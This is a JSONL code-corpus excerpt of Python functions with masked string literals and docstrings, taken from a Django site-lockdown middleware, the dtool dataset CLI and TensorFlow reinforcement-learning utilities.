{"signature": "def __init__(self, passwords=None, *args, **kwargs):", "body": "super(LockdownForm, self).__init__(*args, **kwargs)<EOL>if passwords is None:<EOL><INDENT>passwords = settings.PASSWORDS<EOL><DEDENT>self.valid_passwords = passwords<EOL>", "docstring": "Initialize the form by setting the valid passwords.", "id": "f1230:c0:m0"}
{"signature": "def clean_password(self):", "body": "value = self.cleaned_data.get('<STR_LIT:password>')<EOL>if value not in self.valid_passwords:<EOL><INDENT>raise forms.ValidationError('<STR_LIT>')<EOL><DEDENT>return value<EOL>", "docstring": "Check that the password is valid.", "id": "f1230:c0:m1"}
{"signature": "def generate_token(self):", "body": "return self.cleaned_data['<STR_LIT:password>']<EOL>", "docstring": "Save the password as the authentication token.\n\n        It's acceptable to store the password raw, as it is stored server-side\n        in the user's session.", "id": "f1230:c0:m2"}
{"signature": "def authenticate(self, token_value):", "body": "return token_value in self.valid_passwords<EOL>", "docstring": "Check that the password is valid.\n\n        This allows for revoking of a user's preview rights by changing the\n        valid passwords.", "id": "f1230:c0:m3"}
{"signature": "def show_form(self):", "body": "return bool(self.valid_passwords)<EOL>", "docstring": "Show the form if there are any valid passwords.", "id": "f1230:c0:m4"}
{"signature": "def __init__(self, staff_only=None, superusers_only=None, *args,<EOL>**kwargs):", "body": "super(AuthForm, self).__init__(*args, **kwargs)<EOL>if staff_only is None:<EOL><INDENT>staff_only = getattr(django_settings,<EOL>'<STR_LIT>', True)<EOL><DEDENT>if superusers_only is None:<EOL><INDENT>superusers_only = getattr(django_settings,<EOL>'<STR_LIT>',<EOL>False)<EOL><DEDENT>self.staff_only = staff_only<EOL>self.superusers_only = superusers_only<EOL>", "docstring": "Initialize the form by setting permissions needed for access.", "id": "f1230:c1:m0"}
{"signature": "def clean(self):", "body": "cleaned_data = super(AuthForm, self).clean()<EOL>user = self.get_user()<EOL>if self.staff_only and (not user or not user.is_staff):<EOL><INDENT>raise forms.ValidationError('<STR_LIT>')<EOL><DEDENT>if self.superusers_only and (not user or not user.is_superuser):<EOL><INDENT>raise forms.ValidationError('<STR_LIT>')<EOL><DEDENT>return cleaned_data<EOL>", "docstring": "When receiving the filled out form, check for valid access.", "id": "f1230:c1:m1"}
{"signature": "def generate_token(self):", "body": "user = self.get_user()<EOL>return '<STR_LIT>' % (user.backend, user.pk)<EOL>", "docstring": "Save the password as the authentication token.\n\n        It's acceptable to store the password raw, as it is stored server-side\n        in the user's session.", "id": "f1230:c1:m2"}
{"signature": "def authenticate(self, token_value):", "body": "try:<EOL><INDENT>backend_path, user_id = token_value.split('<STR_LIT::>', <NUM_LIT:1>)<EOL><DEDENT>except (ValueError, AttributeError):<EOL><INDENT>return False<EOL><DEDENT>backend = auth.load_backend(backend_path)<EOL>return bool(backend.get_user(user_id))<EOL>", "docstring": "Check that the password is valid.\n\n        This allows for revoking of a user's preview rights by changing the\n        valid passwords.", "id": "f1230:c1:m3"}
{"signature": "def show_form(self):", "body": "return True<EOL>", "docstring": "Determine if the form should be shown on locked pages.", "id": "f1230:c1:m4"}
{"signature": "def compile_url_exceptions(url_exceptions):", "body": "return [re.compile(p) for p in url_exceptions]<EOL>", "docstring": "Return a list of compiled regex objects, containing the url exceptions.\n\n    All URLs in that list returned won't be considered as locked.", "id": "f1231:m0"}
{"signature": "def get_lockdown_form(form_path):", "body": "if not form_path:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>')<EOL><DEDENT>form_path_list = form_path.split(\"<STR_LIT:.>\")<EOL>new_module = \"<STR_LIT:.>\".join(form_path_list[:-<NUM_LIT:1>])<EOL>attr = form_path_list[-<NUM_LIT:1>]<EOL>try:<EOL><INDENT>mod = import_module(new_module)<EOL><DEDENT>except (ImportError, ValueError):<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % new_module)<EOL><DEDENT>try:<EOL><INDENT>form = getattr(mod, attr)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (new_module, attr))<EOL><DEDENT>return form<EOL>", "docstring": "Return a form class for a given string pointing to a lockdown form.", "id": "f1231:m1"}
{"signature": "def __init__(self, get_response=None, form=None, until_date=None,<EOL>after_date=None, logout_key=None, session_key=None,<EOL>url_exceptions=None, view_exceptions=None,<EOL>remote_addr_exceptions=None, trusted_proxies=None,<EOL>extra_context=None, **form_kwargs):", "body": "if logout_key is None:<EOL><INDENT>logout_key = settings.LOGOUT_KEY<EOL><DEDENT>if session_key is None:<EOL><INDENT>session_key = settings.SESSION_KEY<EOL><DEDENT>self.get_response = get_response<EOL>self.form = form<EOL>self.form_kwargs = form_kwargs<EOL>self.until_date = until_date<EOL>self.after_date = after_date<EOL>self.logout_key = logout_key<EOL>self.session_key = session_key<EOL>self.url_exceptions = url_exceptions<EOL>self.remote_addr_exceptions = remote_addr_exceptions<EOL>self.trusted_proxies = trusted_proxies<EOL>self.extra_context = extra_context<EOL>", "docstring": "Initialize the middleware, by setting the configuration values.", "id": "f1231:c0:m0"}
{"signature": "def __call__(self, request):", "body": "response = self.process_request(request)<EOL>if not response:<EOL><INDENT>response = self.get_response(request)<EOL><DEDENT>return response<EOL>", "docstring": "Handle calls to the class instance.", "id": "f1231:c0:m1"}
{"signature": "def process_request(self, request):", "body": "try:<EOL><INDENT>session = request.session<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ImproperlyConfigured('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if settings.ENABLED is False:<EOL><INDENT>return None<EOL><DEDENT>if self.remote_addr_exceptions:<EOL><INDENT>remote_addr_exceptions = self.remote_addr_exceptions<EOL><DEDENT>else:<EOL><INDENT>remote_addr_exceptions = settings.REMOTE_ADDR_EXCEPTIONS<EOL><DEDENT>if remote_addr_exceptions:<EOL><INDENT>trusted_proxies = self.trusted_proxies or settings.TRUSTED_PROXIES<EOL>remote_addr = request.META.get('<STR_LIT>')<EOL>if remote_addr in remote_addr_exceptions:<EOL><INDENT>return None<EOL><DEDENT>if remote_addr in trusted_proxies:<EOL><INDENT>x_forwarded_for = request.META.get('<STR_LIT>')<EOL>if x_forwarded_for:<EOL><INDENT>remote_addr = x_forwarded_for.split('<STR_LIT:U+002C>')[-<NUM_LIT:1>].strip()<EOL>if remote_addr in remote_addr_exceptions:<EOL><INDENT>return None<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.url_exceptions:<EOL><INDENT>url_exceptions = compile_url_exceptions(self.url_exceptions)<EOL><DEDENT>else:<EOL><INDENT>url_exceptions = compile_url_exceptions(settings.URL_EXCEPTIONS)<EOL><DEDENT>for pattern in url_exceptions:<EOL><INDENT>if pattern.search(request.path):<EOL><INDENT>return None<EOL><DEDENT><DEDENT>try:<EOL><INDENT>resolved_path = resolve(request.path)<EOL><DEDENT>except Resolver404:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if resolved_path.func in settings.VIEW_EXCEPTIONS:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if self.until_date:<EOL><INDENT>until_date = self.until_date<EOL><DEDENT>else:<EOL><INDENT>until_date = settings.UNTIL_DATE<EOL><DEDENT>if self.after_date:<EOL><INDENT>after_date = self.after_date<EOL><DEDENT>else:<EOL><INDENT>after_date = settings.AFTER_DATE<EOL><DEDENT>if until_date or after_date:<EOL><INDENT>locked_date = False<EOL>if until_date and datetime.datetime.now() < until_date:<EOL><INDENT>locked_date = True<EOL><DEDENT>if after_date and datetime.datetime.now() > after_date:<EOL><INDENT>locked_date = True<EOL><DEDENT>if not locked_date:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>form_data = request.POST if request.method == '<STR_LIT:POST>' else None<EOL>if self.form:<EOL><INDENT>form_class = self.form<EOL><DEDENT>else:<EOL><INDENT>form_class = get_lockdown_form(settings.FORM)<EOL><DEDENT>form = form_class(data=form_data, **self.form_kwargs)<EOL>authorized = False<EOL>token = session.get(self.session_key)<EOL>if hasattr(form, '<STR_LIT>'):<EOL><INDENT>if form.authenticate(token):<EOL><INDENT>authorized = True<EOL><DEDENT><DEDENT>elif token is True:<EOL><INDENT>authorized = True<EOL><DEDENT>if authorized and self.logout_key and self.logout_key in request.GET:<EOL><INDENT>if self.session_key in session:<EOL><INDENT>del session[self.session_key]<EOL><DEDENT>querystring = request.GET.copy()<EOL>del querystring[self.logout_key]<EOL>return self.redirect(request)<EOL><DEDENT>if authorized:<EOL><INDENT>return None<EOL><DEDENT>if form.is_valid():<EOL><INDENT>if hasattr(form, '<STR_LIT>'):<EOL><INDENT>token = form.generate_token()<EOL><DEDENT>else:<EOL><INDENT>token = True<EOL><DEDENT>session[self.session_key] = token<EOL>return self.redirect(request)<EOL><DEDENT>page_data = {'<STR_LIT>': until_date, '<STR_LIT>': after_date}<EOL>if not hasattr(form, '<STR_LIT>') or form.show_form():<EOL><INDENT>page_data['<STR_LIT>'] = form<EOL><DEDENT>if self.extra_context:<EOL><INDENT>page_data.update(self.extra_context)<EOL><DEDENT>return render(request, '<STR_LIT>', page_data)<EOL>", "docstring": "Check if each request is allowed to access the current resource.", "id": "f1231:c0:m2"}
{"signature": "def redirect(self, request):", "body": "url = request.path<EOL>querystring = request.GET.copy()<EOL>if self.logout_key and self.logout_key in request.GET:<EOL><INDENT>del querystring[self.logout_key]<EOL><DEDENT>if querystring:<EOL><INDENT>url = '<STR_LIT>' % (url, querystring.urlencode())<EOL><DEDENT>return HttpResponseRedirect(url)<EOL>", "docstring": "Handle redirects properly.", "id": "f1231:c0:m3"}
{"signature": "def lockdown(*args, **kwargs):", "body": "return decorator_from_middleware_with_args(LockdownMiddleware)(*args,<EOL>**kwargs)<EOL>", "docstring": "Define a decorator based on the LockdownMiddleware.\n\n    This decorator takes the same arguments as the middleware, but allows a\n    more granular locking than the middleware.", "id": "f1233:m0"}
{"signature": "def _prompt_for_values(d):", "body": "for key, value in d.items():<EOL><INDENT>if isinstance(value, CommentedMap):<EOL><INDENT>_prompt_for_values(value)<EOL><DEDENT>elif isinstance(value, list):<EOL><INDENT>for item in value:<EOL><INDENT>_prompt_for_values(item)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>typ = type(value)<EOL>if isinstance(value, ScalarFloat):  <EOL><INDENT>typ = float<EOL><DEDENT>new_value = click.prompt(key, type=typ, default=value)<EOL>d[key] = new_value<EOL><DEDENT><DEDENT>return d<EOL>", "docstring": "Update the descriptive metadata interactively.\n\n    Uses values entered by the user. Note that the function keeps recursing\n    whenever a value is another ``CommentedMap`` or a ``list``. The\n    function works as passing dictionaries and lists into a function edits\n    the values in place.", "id": "f1243:m1"}
{"signature": "@click.command()<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@click.argument(\"<STR_LIT:name>\")<EOL>@click.argument(\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", type=click.Path(exists=True))<EOL>def create(quiet, name, base_uri, symlink_path):", "body": "_validate_name(name)<EOL>admin_metadata = dtoolcore.generate_admin_metadata(name)<EOL>parsed_base_uri = dtoolcore.utils.generous_parse_uri(base_uri)<EOL>if parsed_base_uri.scheme == \"<STR_LIT>\":<EOL><INDENT>if symlink_path is None:<EOL><INDENT>raise click.UsageError(\"<STR_LIT>\")  <EOL><DEDENT><DEDENT>if symlink_path:<EOL><INDENT>base_uri = dtoolcore.utils.sanitise_uri(<EOL>\"<STR_LIT>\" + parsed_base_uri.path<EOL>)<EOL>parsed_base_uri = dtoolcore.utils.generous_parse_uri(base_uri)<EOL><DEDENT>proto_dataset = dtoolcore.generate_proto_dataset(<EOL>admin_metadata=admin_metadata,<EOL>base_uri=dtoolcore.utils.urlunparse(parsed_base_uri),<EOL>config_path=CONFIG_PATH)<EOL>if symlink_path:<EOL><INDENT>symlink_abspath = os.path.abspath(symlink_path)<EOL>proto_dataset._storage_broker.symlink_path = symlink_abspath<EOL><DEDENT>try:<EOL><INDENT>proto_dataset.create()<EOL><DEDENT>except dtoolcore.storagebroker.StorageBrokerOSError as err:<EOL><INDENT>raise click.UsageError(str(err))<EOL><DEDENT>proto_dataset.put_readme(\"<STR_LIT>\")<EOL>if quiet:<EOL><INDENT>click.secho(proto_dataset.uri)<EOL><DEDENT>else:<EOL><INDENT>click.secho(\"<STR_LIT>\", nl=False, fg=\"<STR_LIT>\")<EOL>click.secho(proto_dataset.uri)<EOL>click.secho(\"<STR_LIT>\")<EOL>step = <NUM_LIT:1><EOL>if parsed_base_uri.scheme != \"<STR_LIT>\":<EOL><INDENT>click.secho(\"<STR_LIT>\".format(step))<EOL>click.secho(<EOL>\"<STR_LIT>\".format(proto_dataset.uri),<EOL>fg=\"<STR_LIT>\")<EOL>if parsed_base_uri.scheme == \"<STR_LIT:file>\":<EOL><INDENT>data_path = proto_dataset._storage_broker._data_abspath<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(<EOL>\"<STR_LIT>\".format(data_path),<EOL>fg=\"<STR_LIT>\"<EOL>)<EOL><DEDENT>step = step + <NUM_LIT:1><EOL><DEDENT>click.secho(\"<STR_LIT>\".format(step))<EOL>click.secho(<EOL>\"<STR_LIT>\".format(proto_dataset.uri),<EOL>fg=\"<STR_LIT>\")<EOL>step = step + <NUM_LIT:1><EOL>click.secho(<EOL>\"<STR_LIT>\".format(step)<EOL>)<EOL>click.secho(\"<STR_LIT>\".format(proto_dataset.uri), fg=\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Create a proto dataset.", "id": "f1243:m3"}
{"signature": "@click.command()<EOL>@base_dataset_uri_argument<EOL>@click.argument(\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>def name(dataset_uri, new_name):", "body": "if new_name != \"<STR_LIT>\":<EOL><INDENT>_validate_name(new_name)<EOL>try:<EOL><INDENT>dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>except dtoolcore.DtoolCoreTypeError:<EOL><INDENT>dataset = dtoolcore.DataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>dataset.update_name(new_name)<EOL><DEDENT>admin_metadata = dtoolcore._admin_metadata_from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL>click.secho(admin_metadata[\"<STR_LIT:name>\"])<EOL>", "docstring": "Report / update the name of the dataset.\n\nIt is only possible to update the name of a proto dataset,\ni.e. a dataset that has not yet been frozen.", "id": "f1243:m4"}
{"signature": "@click.group()<EOL>def readme():", "body": "", "docstring": "Edit / show readme content.\n\n    The readme content is descriptive metadata describing the dataset.", "id": "f1243:m5"}
{"signature": "@readme.command()<EOL>@proto_dataset_uri_argument<EOL>def interactive(proto_dataset_uri):", "body": "proto_dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=proto_dataset_uri,<EOL>config_path=CONFIG_PATH)<EOL>readme_template = _get_readme_template()<EOL>yaml = YAML()<EOL>yaml.explicit_start = True<EOL>yaml.indent(mapping=<NUM_LIT:2>, sequence=<NUM_LIT:4>, offset=<NUM_LIT:2>)<EOL>descriptive_metadata = yaml.load(readme_template)<EOL>descriptive_metadata = _prompt_for_values(descriptive_metadata)<EOL>stream = StringIO()<EOL>yaml.dump(descriptive_metadata, stream)<EOL>proto_dataset.put_readme(stream.getvalue())<EOL>click.secho(\"<STR_LIT>\", fg=\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(<EOL>\"<STR_LIT>\".format(proto_dataset_uri),<EOL>fg=\"<STR_LIT>\")<EOL>", "docstring": "Interactive prompting to populate the readme.", "id": "f1243:m6"}
{"signature": "@readme.command()<EOL>@base_dataset_uri_argument<EOL>def edit(dataset_uri):", "body": "try:<EOL><INDENT>dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>except dtoolcore.DtoolCoreTypeError:<EOL><INDENT>dataset = dtoolcore.DataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>readme_content = dataset.get_readme_content()<EOL>try:<EOL><INDENT>readme_content = unicode(readme_content, \"<STR_LIT:utf-8>\")<EOL><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>edited_content = click.edit(readme_content)<EOL>if edited_content is not None:<EOL><INDENT>_validate_and_put_readme(dataset, edited_content)<EOL>click.secho(\"<STR_LIT>\", nl=False, fg=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>click.secho(\"<STR_LIT>\", nl=False, fg=\"<STR_LIT>\")<EOL><DEDENT>click.secho(dataset_uri)<EOL>", "docstring": "Default editor updating of readme content.", "id": "f1243:m8"}
{"signature": "@readme.command()<EOL>@base_dataset_uri_argument<EOL>def show(dataset_uri):", "body": "try:<EOL><INDENT>dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>except dtoolcore.DtoolCoreTypeError:<EOL><INDENT>dataset = dtoolcore.DataSet.from_uri(<EOL>uri=dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL><DEDENT>readme_content = dataset.get_readme_content()<EOL>click.secho(readme_content)<EOL>", "docstring": "Show the descriptive metadata in the readme.", "id": "f1243:m9"}
{"signature": "@readme.command()<EOL>@proto_dataset_uri_argument<EOL>@click.argument('<STR_LIT:input>', type=click.File('<STR_LIT:r>'))<EOL>def write(proto_dataset_uri, input):", "body": "proto_dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=proto_dataset_uri<EOL>)<EOL>_validate_and_put_readme(proto_dataset, input.read())<EOL>", "docstring": "Use YAML from a file or stdin to populate the readme.\n\n    To stream content from stdin use \"-\", e.g.\n\n    echo \"desc: my data\" | dtool readme write <DS_URI> -", "id": "f1243:m10"}
{"signature": "@click.group()<EOL>def add():", "body": "", "docstring": "Add items and item metadata to a proto dataset.", "id": "f1243:m11"}
{"signature": "@add.command()<EOL>@click.argument(\"<STR_LIT>\", type=click.Path(exists=True))<EOL>@proto_dataset_uri_argument<EOL>@click.argument(\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>def item(proto_dataset_uri, input_file, relpath_in_dataset):", "body": "proto_dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>proto_dataset_uri,<EOL>config_path=CONFIG_PATH)<EOL>if relpath_in_dataset == \"<STR_LIT>\":<EOL><INDENT>relpath_in_dataset = os.path.basename(input_file)<EOL><DEDENT>proto_dataset.put_item(input_file, relpath_in_dataset)<EOL>", "docstring": "Add a file to the proto dataset.", "id": "f1243:m12"}
{"signature": "@add.command()<EOL>@proto_dataset_uri_argument<EOL>@click.argument(\"<STR_LIT>\")<EOL>@click.argument(\"<STR_LIT:key>\")<EOL>@click.argument(\"<STR_LIT:value>\")<EOL>def metadata(proto_dataset_uri, relpath_in_dataset, key, value):", "body": "proto_dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=proto_dataset_uri,<EOL>config_path=CONFIG_PATH)<EOL>proto_dataset.add_item_metadata(<EOL>handle=relpath_in_dataset,<EOL>key=key,<EOL>value=value)<EOL>", "docstring": "Add metadata to a file in the proto dataset.", "id": "f1243:m13"}
{"signature": "@click.command()<EOL>@proto_dataset_uri_argument<EOL>def freeze(proto_dataset_uri):", "body": "proto_dataset = dtoolcore.ProtoDataSet.from_uri(<EOL>uri=proto_dataset_uri,<EOL>config_path=CONFIG_PATH<EOL>)<EOL>num_items = len(list(proto_dataset._identifiers()))<EOL>max_files_limit = int(dtoolcore.utils.get_config_value(<EOL>\"<STR_LIT>\",<EOL>CONFIG_PATH,<EOL><NUM_LIT><EOL>))<EOL>assert isinstance(max_files_limit, int)<EOL>if num_items > max_files_limit:<EOL><INDENT>click.secho(<EOL>\"<STR_LIT>\".format(<EOL>num_items,<EOL>max_files_limit<EOL>),<EOL>fg=\"<STR_LIT>\"<EOL>)<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>handles = [h for h in proto_dataset._storage_broker.iter_item_handles()]<EOL>for h in handles:<EOL><INDENT>if not valid_handle(h):<EOL><INDENT>click.secho(<EOL>\"<STR_LIT>\".format(h),<EOL>fg=\"<STR_LIT>\"<EOL>)<EOL>click.secho(\"<STR_LIT>\")<EOL>click.secho(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:3>)<EOL><DEDENT><DEDENT>with click.progressbar(length=len(list(proto_dataset._identifiers())),<EOL>label=\"<STR_LIT>\") as progressbar:<EOL><INDENT>try:<EOL><INDENT>proto_dataset.freeze(progressbar=progressbar)<EOL><DEDENT>except dtoolcore.storagebroker.DiskStorageBrokerValidationWarning as e:<EOL><INDENT>click.secho(\"<STR_LIT>\")<EOL>click.secho(str(e), fg=\"<STR_LIT>\", nl=False)<EOL>sys.exit(<NUM_LIT:4>)<EOL><DEDENT><DEDENT>click.secho(\"<STR_LIT>\", nl=False, fg=\"<STR_LIT>\")<EOL>click.secho(proto_dataset_uri)<EOL>", "docstring": "Convert a proto dataset into a dataset.\n\n    This step is carried out after all files have been added to the dataset.\n    Freezing a dataset finalizes it with a stamp marking it as frozen.", "id": "f1243:m14"}
{"signature": "@click.command()<EOL>@click.option(\"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@dataset_uri_argument<EOL>@click.argument(\"<STR_LIT>\")<EOL>def copy(resume, quiet, dataset_uri, dest_base_uri):", "body": "click.secho(<EOL>\"<STR_LIT>\",<EOL>fg=\"<STR_LIT>\",<EOL>err=True<EOL>)<EOL>click.secho(<EOL>\"<STR_LIT>\",<EOL>fg=\"<STR_LIT>\",<EOL>err=True<EOL>)<EOL>_copy(resume, quiet, dataset_uri, dest_base_uri)<EOL>", "docstring": "DEPRECATED: Copy a dataset to a different location.", "id": "f1243:m16"}
{"signature": "@click.command()<EOL>@click.option(\"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@dataset_uri_argument<EOL>@click.argument(\"<STR_LIT>\")<EOL>def cp(resume, quiet, dataset_uri, dest_base_uri):", "body": "_copy(resume, quiet, dataset_uri, dest_base_uri)<EOL>", "docstring": "Copy a dataset to a different location.", "id": "f1243:m17"}
{"signature": "@click.command()<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", is_flag=True, help=\"<STR_LIT>\")<EOL>@dataset_uri_argument<EOL>def publish(quiet, dataset_uri):", "body": "access_uri = http_publish(dataset_uri)<EOL>if not quiet:<EOL><INDENT>click.secho(\"<STR_LIT>\", nl=False, fg=\"<STR_LIT>\")<EOL><DEDENT>click.secho(access_uri)<EOL>", "docstring": "Enable HTTP access to a dataset.\n\n    This only works on datasets in some systems. For example, datasets stored\n    in AWS S3 object storage and Microsoft Azure Storage can be published as\n    datasets accessible over HTTP. A published dataset is world readable.", "id": "f1245:m0"}
{"signature": "def valid_handle(handle):", "body": "if handle.find(\"<STR_LIT:\\n>\") != -<NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return false if the handle is invalid.\n\n    For example if the handle contains a newline.", "id": "f1246:m0"}
{"signature": "def logsigmoid(a):", "body": "return -tf.nn.softplus(-a)<EOL>", "docstring": "Equivalent to tf.log(tf.sigmoid(a))", "id": "f1258:m0"}
{"signature": "def apply_stats(self, statsUpdates):", "body": "def updateAccumStats():<EOL><INDENT>if self._full_stats_init:<EOL><INDENT>return tf.cond(tf.greater(self.sgd_step, self._cold_iter), lambda: tf.group(*self._apply_stats(statsUpdates, accumulate=True, accumulateCoeff=<NUM_LIT:1.> / self._stats_accum_iter)), tf.no_op)<EOL><DEDENT>else:<EOL><INDENT>return tf.group(*self._apply_stats(statsUpdates, accumulate=True, accumulateCoeff=<NUM_LIT:1.> / self._stats_accum_iter))<EOL><DEDENT><DEDENT>def updateRunningAvgStats(statsUpdates, fac_iter=<NUM_LIT:1>):<EOL><INDENT>return tf.group(*self._apply_stats(statsUpdates))<EOL><DEDENT>if self._async_stats:<EOL><INDENT>update_stats = self._apply_stats(statsUpdates)<EOL>queue = tf.FIFOQueue(<NUM_LIT:1>, [item.dtype for item in update_stats], shapes=[<EOL>item.get_shape() for item in update_stats])<EOL>enqueue_op = queue.enqueue(update_stats)<EOL>def dequeue_stats_op():<EOL><INDENT>return queue.dequeue()<EOL><DEDENT>self.qr_stats = tf.train.QueueRunner(queue, [enqueue_op])<EOL>update_stats_op = tf.cond(tf.equal(queue.size(), tf.convert_to_tensor(<EOL><NUM_LIT:0>)), tf.no_op, lambda: tf.group(*[dequeue_stats_op(), ]))<EOL><DEDENT>else:<EOL><INDENT>update_stats_op = tf.cond(tf.greater_equal(<EOL>self.stats_step, self._stats_accum_iter), lambda: updateRunningAvgStats(statsUpdates), updateAccumStats)<EOL><DEDENT>self._update_stats_op = update_stats_op<EOL>return update_stats_op<EOL>", "docstring": "compute stats and update/apply the new stats to the running average", "id": "f1267:c0:m5"}
{"signature": "def computeStatsEigen(self):", "body": "<EOL>with tf.device('<STR_LIT>'):<EOL><INDENT>def removeNone(tensor_list):<EOL><INDENT>local_list = []<EOL>for item in tensor_list:<EOL><INDENT>if item is not None:<EOL><INDENT>local_list.append(item)<EOL><DEDENT><DEDENT>return local_list<EOL><DEDENT>def copyStats(var_list):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>redundant_stats = {}<EOL>copied_list = []<EOL>for item in var_list:<EOL><INDENT>if item is not None:<EOL><INDENT>if item not in redundant_stats:<EOL><INDENT>if self._use_float64:<EOL><INDENT>redundant_stats[item] = tf.cast(<EOL>tf.identity(item), tf.float64)<EOL><DEDENT>else:<EOL><INDENT>redundant_stats[item] = tf.identity(item)<EOL><DEDENT><DEDENT>copied_list.append(redundant_stats[item])<EOL><DEDENT>else:<EOL><INDENT>copied_list.append(None)<EOL><DEDENT><DEDENT>return copied_list<EOL><DEDENT>stats_eigen = self.stats_eigen<EOL>computedEigen = {}<EOL>eigen_reverse_lookup = {}<EOL>updateOps = []<EOL>with tf.control_dependencies([]):<EOL><INDENT>for stats_var in stats_eigen:<EOL><INDENT>if stats_var not in computedEigen:<EOL><INDENT>eigens = tf.self_adjoint_eig(stats_var)<EOL>e = eigens[<NUM_LIT:0>]<EOL>Q = eigens[<NUM_LIT:1>]<EOL>if self._use_float64:<EOL><INDENT>e = tf.cast(e, tf.float32)<EOL>Q = tf.cast(Q, tf.float32)<EOL><DEDENT>updateOps.append(e)<EOL>updateOps.append(Q)<EOL>computedEigen[stats_var] = {'<STR_LIT:e>': e, '<STR_LIT>': Q}<EOL>eigen_reverse_lookup[e] = stats_eigen[stats_var]['<STR_LIT:e>']<EOL>eigen_reverse_lookup[Q] = stats_eigen[stats_var]['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>self.eigen_reverse_lookup = eigen_reverse_lookup<EOL>self.eigen_update_list = updateOps<EOL>if KFAC_DEBUG:<EOL><INDENT>self.eigen_update_list = [item for item in updateOps]<EOL>with tf.control_dependencies(updateOps):<EOL><INDENT>updateOps.append(tf.Print(tf.constant(<EOL><NUM_LIT:0.>), [tf.convert_to_tensor('<STR_LIT>')]))<EOL><DEDENT><DEDENT><DEDENT>return updateOps<EOL>", "docstring": "compute the eigen decomp using copied var stats to avoid concurrent read/write from other queue", "id": "f1267:c0:m8"}
{"signature": "def store_args(method):", "body": "argspec = inspect.getfullargspec(method)<EOL>defaults = {}<EOL>if argspec.defaults is not None:<EOL><INDENT>defaults = dict(<EOL>zip(argspec.args[-len(argspec.defaults):], argspec.defaults))<EOL><DEDENT>if argspec.kwonlydefaults is not None:<EOL><INDENT>defaults.update(argspec.kwonlydefaults)<EOL><DEDENT>arg_names = argspec.args[<NUM_LIT:1>:]<EOL>@functools.wraps(method)<EOL>def wrapper(*positional_args, **keyword_args):<EOL><INDENT>self = positional_args[<NUM_LIT:0>]<EOL>args = defaults.copy()<EOL>for name, value in zip(arg_names, positional_args[<NUM_LIT:1>:]):<EOL><INDENT>args[name] = value<EOL><DEDENT>args.update(keyword_args)<EOL>self.__dict__.update(args)<EOL>return method(*positional_args, **keyword_args)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Stores provided method args as instance attributes.", "id": "f1268:m0"}
{"signature": "def import_function(spec):", "body": "mod_name, fn_name = spec.split('<STR_LIT::>')<EOL>module = importlib.import_module(mod_name)<EOL>fn = getattr(module, fn_name)<EOL>return fn<EOL>", "docstring": "Import a function identified by a string like \"pkg.module:fn_name\".", "id": "f1268:m1"}
{"signature": "def flatten_grads(var_list, grads):", "body": "return tf.concat([tf.reshape(grad, [U.numel(v)])<EOL>for (v, grad) in zip(var_list, grads)], <NUM_LIT:0>)<EOL>", "docstring": "Flattens a variables and their gradients.", "id": "f1268:m2"}
